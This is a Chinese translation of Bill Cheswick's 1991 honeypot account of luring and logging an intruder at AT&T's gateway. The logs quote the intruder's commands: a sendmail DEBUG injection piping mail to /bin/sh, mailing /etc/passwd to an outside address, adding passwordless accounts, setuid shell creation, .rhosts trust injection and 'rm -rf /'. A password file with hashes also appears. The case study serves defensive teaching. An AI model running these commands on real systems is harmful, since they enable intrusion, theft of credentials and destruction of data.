分享
 
 
 

引诱、欺骗并研究一个黑客

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

——陪伴berferd的一个夜晚

作者:Bill Cheswick AT&T Bell 实验室

翻译:宋传华

学号:19808031

-------把这篇文章献给那些已经或正在成为一名黑客的同学,希望大家在破解别人的同时能同时注意到自身的安全。:)

在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。

在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录

我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。

简介

我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?

事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。

大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?

我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:

FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”

Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。

Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:

exec 2>/dev/null # ensure that stderr doesn't appear

trap "" 1

/bin/echo

( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" ¦

upasname=adm /bin/mail ches dangelo &

# (notify calling machine's administrator for some machines...)

# (finger the calling machine...)

) 2>&1 ¦ mail ches dangelo

/bin/echo "/tmp full"

sleep 5 # I love to make them wait....

/bin/echo "/tmp full"

/bin/echo "/tmp full"

/bin/echo

sleep 60 # ... and simulating a busy machine is useful

我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。

SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。

Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。

Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。

上述很多探测器都使用figner命令来查明调用的机器和使用者。

当一个尝试显示为有不合法企图时,我就发出这样一条消息:

inetfans postmaster@sdsu.edu

Yesterday someone from math.sdsu.edu fetched the /etc/passwd file

from our FTP directory. The file is not important, but these probes

are sometimes performed from stolen accounts.

Just thought you'd like to know.

Bill Cheswick

这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。

很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。

不友好的行动

我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。

当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。

19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP

19:43:14 smtpd[27466]: -------> debug

19:43:14 smtpd[27466]: DEBUG attempt

19:43:14 smtpd[27466]: <--- 200 OK

19:43:25 smtpd[27466]: -------> mail from:</dev/null>

19:43:25 smtpd[27466]: <--- 503 Expecting HELO

19:43:34 smtpd[27466]: -------> helo

19:43:34 smtpd[27466]: HELO from

19:43:34 smtpd[27466]: <--- 250 inet.att.com

19:43:42 smtpd[27466]: -------> mail from: </dev/null>

19:43:42 smtpd[27466]: <--- 250 OK

19:43:59 smtpd[27466]: -------> rcpt to:</dev/?H?H?H?H?H?H?H?H?H?H?H?H?H?H?H?H?H

19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name

19:44:44 smtpd[27466]: -------> rcpt to:<¦sed -e '1,/?$/'d ¦ /bin/sh ; exit 0">

19:44:44 smtpd[27466]: shell characters: ¦sed -e '1,/?$/'d ¦ /bin/sh ; exit 0"

19:44:45 smtpd[27466]: <--- 250 OK

19:44:48 smtpd[27466]: -------> data

19:44:48 smtpd[27466]: <--- 354 Start mail input; end with <CRLF>.<CRLF>

19:45:04 smtpd[27466]: <--- 250 OK

19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security

19:45:08 smtpd[27466]: -------> quit

19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating

19:45:08 smtpd[27466]: finished.

这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:

sed -e '1,/?$/'d ¦ /bin/sh ; exit 0"

它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:

19:45 mail adrian@embezzle.stanford.edu </etc/passwd

19:51 mail adrian@embezzle.stanford.edu </etc/passwd

他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。

第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。

接着的一个星期天我接到了从法国发来的一封信:

To: root@research.att.com

Subject: intruder

Date: Sun, 20 Jan 91 15:02:53 +0100

I have just closed an account on my machine

which has been broken by an intruder coming from embezzle.stanford.edu. He

(she) has left a file called passwd. The contents are:

------------>

From root@research.att.com Tue Jan 15 18:49:13 1991

Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);

Tue, 15 Jan 91 18:49:12 -0800

Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>

From: root@research.att.com

Date: Tue, 15 Jan 91 21:48 EST

To: adrian@embezzle.stanford.edu

Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:

Daemon: *:1:1:0000-Admin(0000):/:

Bin: *:2:2:0000-Admin(0000):/bin:

Sys: *:3:3:0000-Admin(0000):/usr/v9/src:

Adm: *:4:4:0000-Admin(0000):/usr/adm:

Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:

Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico

Ftp: anonymous:71:14:file transfer:/:no soap

Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh

Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh

Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh

Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh

Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh

Status: R

------------Please let me know if you heard of him.

陪伴Berferd的一个夜晚

1月20号,星期天晚上,我的终端报告有安全敏感事件。

22:33 finger attempt on berferd

几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!

22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd

cp /bin/sh /tmp/shell

chmod 4755 /tmp/shell

连接同样来自EMBEZZLE.STANFORD.EDU。

我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。

我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。

我已经有一个要求了,因为他已经持有了一份passwd。

决定一:ftp的passwd是一个真实的passwd。

还有另外的两个:

决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。

决定三:网关机器极慢。

因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?

决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。

这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:

RISC/os (inet)

login: b

RISC/os (UMIPS) 4.0 inet

Copyright 1986, MIPS Computer Systems

All Rights Reserved

Shell not found

我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:

22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd

他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:

22:45 talk adrian@embezzle.stand?Hford.edu

talk adrian@embezzle.stanford.edu

决定五:我们没有talk这个命令。

他选择了berferd这个帐号:

22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU

22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU

22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU

22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)

22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU

22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU

22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd

22:57 (Added bfrd to the real password file.)

22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

23:05 echo "36.92.0.205" >/dev/null

echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H

23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu

23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts

23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts

很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。

这时他又有新的动作:

23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf

ps -aux¦mail adrian@embezzle.stanford.edu

在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。

决定七:网关机器运行不稳定,时有不确定事件。

23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts

echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts

ps -aux¦mail adrian@embezzle.stanford.edu

mail adrian@embezzle.stanford.edu < /etc/inetd.conf

我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。

这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:

Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server

(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.

Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M

Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.

Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M

Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.

Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M

Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.

Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M

Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are

recognized (* =>'s unimplemented).

Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.

Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M

Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.

Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0

Jan 20 23:37:31 inet inetd[116]: exit 14437

Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454

Jan 20 23:37:41 inet inetd[116]: exit 14454

23:38 finger attempt on berferd

23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv

23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b

cp /bin/sh /usr/etc/fingerd

决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。

23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

23:58 cp /bin/csh /usr/etc/fingerd

我们模拟的机器上csh并不在/bin下,因此这个命令无效。

00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd

好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。

00:14 passwd bfrt

bfrt

bfrt

现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。

00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

00:17 echo "/bin/sh" > /tmp/Shell

chmod 755 /tmp/shell

chmod 755 /tmp/Shell

00:19 chmod 4755 /tmp/shell

00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

这时我已经很累了。

01:55 rm -rf /&

喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。

他继续工作了几分钟,后来放弃:

07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

07:14 rm -rf /&

07:17 finger attempt on berferd

07:19 /bin/rm -rf /&

/bin/rm -rf /&

07:23 /bin/rm -rf /&

07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有